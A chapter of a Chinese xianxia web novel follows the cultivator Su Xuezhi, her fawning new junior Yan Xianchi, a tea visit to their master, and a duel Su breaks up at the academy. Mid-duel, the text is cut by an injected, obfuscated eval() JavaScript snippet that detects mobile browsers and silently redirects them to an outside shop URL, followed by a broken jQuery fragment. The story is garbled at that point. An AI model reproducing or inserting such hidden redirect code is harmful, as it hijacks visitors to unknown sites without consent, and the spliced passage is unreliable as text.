朦胧的雾气缭绕,温泉池边原本枯萎了的琉璃草被换成了新鲜的,池周之前脱落的一块恒温石也被填补整齐。
想都不用想是谁做的。
素雪雉闭眼浸泡在其中,纤长的睫毛被热气打湿,她干脆整个人沉到水底,许久后才幽幽浮上来喘气。
多了个小师弟好不习惯。
这倒不是对宴弦尺有什么看法,只是自己一个人惯了,难免不自在。
等素雪雉沐浴完重回庭院时,宴弦尺还静静地坐在那,碗筷没动,明显在等她。
素雪雉落座桌边拿起筷子:“不是说了不用等我。”
宴弦尺将盘子朝她的方向推推:“我不是很饿,师姐,你尝尝这个莲藕汤,还有这个松鼠鱼,这个松茸……”
素雪雉一筷没夹,碗却是满了。
她指尖有节奏的轻扣碗沿,斟酌片刻,缓缓开口道:“师弟。”
“师姐,怎么了,菜不合胃口吗?”宴弦尺瞳仁幽黑,对于素雪雉的欲言又止很是在意。
“你不用这样,”素雪雉放下筷子,正经的说:“我没那么小气不让师父有别的徒弟,更不会对你怎么样,所以你不必讨好我……”
素雪雉眉眼清冷,声音柔和,这话说的也不算锐利,可宴弦尺嘴角却是慢慢落下,肉眼可见的失落。
“师姐心里以为我是这样想你的才为你做这些?”
素雪雉一顿。
宴弦尺垂着眼眸,指节微微收紧:“我只是仰慕师姐,想为师姐做些力所能及的,没别的想法。”
“我也想成为像师姐一样厉害的人。”
他低着头,原本清冽的嗓音此刻有些哑,小声又补了句:
“师姐是讨厌我了吗?”
一股不知名的暴击直戳师姐心头。
素雪雉颇有些无力招架:“……倒也不至于,只是你累了一天又负伤,该好好休息而不是……”
宴弦尺猛的抬头,先前的阴霾一扫不见,桃花眼弯的灿烂:“原来师姐是在关心我,”
简直给素雪雉表演了个变脸。
素雪雉:……
算了。
他愿意怎样就怎样吧。
——
绿叶盛着晨露,万里无云。
素雪雉早早去找师父。
九幽仙师平生最爱四处游历,呆在捉妖司总部的时间屈指可数。
她已经几月没见师父了,想着跟师父聊聊妖族在捉妖师选拔上的异动。
再顺便聊聊他收宴弦尺这个新徒弟的原因。
九幽仙师的居所在高崖上,得穿过锁桥,爬上独梯,一般人还真上不去。
素雪雉每次来都会想,等自己成仙师了一定也要像师父一样住个不容易被人打扰的地方。
九幽仙师正在煮茶,屋内的木桌上早已摆好两个杯盏。
素雪雉随意的里外绕了圈,确定和上次来没什么不同,才老实坐下。
“这是特意从南域百花城给你带的百花茶,尝尝好不好喝。”
九幽仙师是个极其温柔的人,每次去不同的地方回来都会给素雪雉带特产。
他将煮好的茶稳稳倒进两个杯中,将其中一杯放在徒弟面前。
素雪雉抿了一口,口感甜而不腻,带着南域独有的花气,很清爽。
“好喝,谢谢师父”。
九幽仙师笑笑,他长发披散,白袍整洁,一尘不染的气质任谁看了都要喊一声仙师大人。
素雪雉放下茶杯,对上师父一双静如止水的眼,问:“师父知道捉妖师选拔上墓叶林天眼蛛动乱的事了吗?”
九幽仙师一手撑着下巴一手给自己又添了杯茶:“不知,但猜到了。”
“数月前,各个捉妖司分部便开始频频联系总部,上报的案件越来越多,尤其南部附近被伤的百姓最多,恨妖情绪最为高涨。”
素雪雉蹙眉,这样说来,妖族发生了什么事?
九幽仙师像是猜到素雪雉在想什么,道:“原因未知,不过目前二十位仙师合议,准备将捉妖司寻因果境及以上弟子编队,去各城捉妖。”
素雪雉又敏锐的问:“总部分部一起?”
这可不像捉妖司一惯的做法。
素雪雉在师父面前从不掩饰,想法都摆在脸上,但九幽仙师笑而不语。
她当下便没再往下问,转而说起别的,面上如同刚好想到似的随口一问:“师父怎么忽然想收新徒弟了。”
九幽仙师慈爱的看着眼前从小跟着自己的徒弟,意味深长的说:“雪雉啊,为师前些天卜了一挂,”他悠悠说了一半。
素雪雉很有耐心,眨眨眼,等着师父捧起茶杯小品一口,然后就听师父故作高深,缓缓道出四字上古真言:
“缘分使然。”
素雪雉:……
宛如没说。
师徒俩之后又随便聊了聊,素雪雉临下去前还被师父叫住,说是她闲着也是闲着,给宴弦尺也送一包百花茶去。
于是素雪雉前往机关梯下山。
刚进捉妖司都要修一年的基础课,哪怕成为内门弟子也是要修这个学分的。
讲堂在山下,素雪雉倒是许久没来这边了,上次来还是凛冬季节来找齐仙师借古籍,如今已是入秋。
“初识我境,问本心境,看众生境,寻因果境,忆无我境,踏天地境。”
“六境之上即为仙师,仙师之间亦有参差。”
“你们这个年纪,能有看众生境已是超乎常人,而能到达寻因果境的更是少之又少,修习术法切忌,欲速则不达,要一步步来……”
齐仙师缓缓道来,捉妖师中一道女声疑惑问道:“那忆无我境呢,听闻素雪雉师姐几年前就是忆无我境了。”
齐仙师瞥了眼正站在后门外清瘦挺拔的身形,咳了两声:“……她是个例,据我所知,百年间,十几岁便有忆无我境的就她一个,你们不必因此焦虑自怨。”
倚靠在后门处的素雪雉轻笑,要知道自己刚跟着师父来总部时不喜欢上无聊的基础课,仗着有天赋时常旷课,把齐仙师气的胡子都直了,偏偏九幽还是个惯孩子的,也不管。
于是齐仙师硬是天天到处找藏起来的素雪雉将其捉去学堂,过程也是鸡飞狗跳。
“与人相对的,妖也分等级。”
“初开灵境,固本源境,历万兽境,溯血脉境,忘兽形境,吞荒墟境。”
“在其之上称妖王,同样,妖王之间亦有差距。”
“若说人在修习术法的过程中需要付出十分,那么妖只需付出五分便能与人一战,这是先天的,也是为何仙师明明比妖王数量多,仙师们却不会主动出手的原因。”
“目前总共有十三位妖王……”有着几十年讲学经验的的齐仙师意识到时间差不多了,改口道:“其余的改日再讲。”
铛——
齐仙师话音刚落,学堂外昭示休息的铜钟便雄浑荡起。
素雪雉怕在门口挡路,便拉远了身位去到古槐树下等着。
谁知等了会没几个人出来,她便又走了进去,然后就看到了这一幕:
新捉妖师四散围成个圈,摆明了要看热闹。
空出的中间场地有两人,一人坐在椅子上没动,嘴角扬起满脸不屑,另一人皮笑肉不笑能看出其强压的怒火道:
“抢东西还有理了?本就是你的不是,我无非是要点补偿……”
素雪雉眯眯眼,认出这是机关家独子,苏天尚,一年前和师父去拜访机关塔时见过这人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813760|210972||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宴弦尺舔了舔虎牙,笑的挑衅:“哪条规矩说捉妖师选拔的妖物不能互相抢了?”
四周顿时一静。
两道寻因果境的气息崩炸开,术士气浪掀得两人鸦青色的披风猎猎作响,围观的人猝不及防后退一步。
素雪雉站在原地看的兴致盎然,每年选拔总得有这么一场热闹。
苏天尚冷笑一声:“我背后是机关家,你一个游民弃子,我想要你死,任谁也保不住你。”
宴弦尺顽劣道:“我若想杀你,机关家只来得及给你收尸。”
苏天尚脸色更沉,抬手起阵,阵盘早已铺在学堂中此刻骤然亮起。
阵法内风雨雷电攻击齐动,宴弦尺咬破指尖熟练的凌空画符,符光翻飞硬生生挡下绝大部分攻势,可仍有几道擦着脸颊和肩背划过,鲜血瞬间渗出。
苏天尚后退半步,二重阵□□转,新一轮攻势下宴弦尺边闪躲穿梭在几十把利刃间边飞速接近对方。
素雪雉一下就明白了宴弦尺是想用定身符消解布阵人的术势,但她只是轻啧了声。
哪怕苏天尚先手,但他显然更擅长机关而非阵法,以至于没几招便被宴弦尺近了身。
就在符箓即将触碰到苏天尚脖颈时,他笑了。
宴弦尺心头一沉,意识到不对。
咔——
机关触发。
宴弦尺却不退反上,抓住苏天尚的肩贴近距离引得机关针瞄准两人。
这举动让苏尚天皱眉,正常人下意识反应该想后退去,这样他的二段机关千丝针才会被触发。
一段机关百针瞄准两人直射而出,苏尚天刚要躲开却发现宴弦尺死死扣出他的腕骨。
痛感让苏尚天下意识被带了下,他顿感不妙,立刻借力前翻险之又险躲过自己的机关。
这个距离只要宴弦尺再随便接一张伤符便能结束这场对打。
但他没有。
宴弦尺嘲讽一笑,劲瘦的腰身动作利落的提膝近身,而苏尚天话都说不出来就被一拳打在脸上。
侮辱性极强。
苏天尚的眼中瞬间炸出杀意,他一秒都忍不了的从腰间拿出了个奇形怪状的乌金盒子在指尖转了圈,注入术法。
刹那间踏天地境的气息弥漫,素雪雉眼神终于变了。
这苏天尚真是疯了,要是机关家长老知道如此稀有的抬境盒被这么浪费掉估计要气死了。
宴弦尺脸颊还带着血痕,也起了杀心,指间一抹猩红符光若隐若现。
红符。
禁符。
素雪雉额角一抽。
下一瞬,白影掠过。
一袭白衣在一众灰青蓝紫玄色着装的捉妖师中着实显眼又突兀。
苏天尚以及周围围观的人甚至没反应过来,素雪雉就已站在两人之间,一手按住宴弦尺腰间捏符的手腕,一手覆上冒着金光的抬镜盒。
然后。
金光唰的灭了。
四周死寂。
素雪雉忆无我境的气息本是没有抬境盒高的,强行压回这盒子力量的那一瞬素雪雉只觉得喉间一股腥甜。
她面上不显,缓缓抬眼。
苏天尚震惊的盯着自己又默默盖了回去的抬境盒,指着素雪雉语无伦次:“……你你你!!”
身后宴弦尺泛着冷意的声音响起:“你再指一下试试。”
素雪雉无声撇了眼宴弦尺,后者立马抿唇闭嘴。
“司内禁止同僚间死斗,”素雪雉不想管这种事,又不能让他们真闹出什么来,干脆甩出两张指令符。
随着符箓以迅雷不及掩耳之势贴上两人眉间,素雪雉一挥手,淡淡开口:
“去找齐长老,让他老人家给你们辨是非。”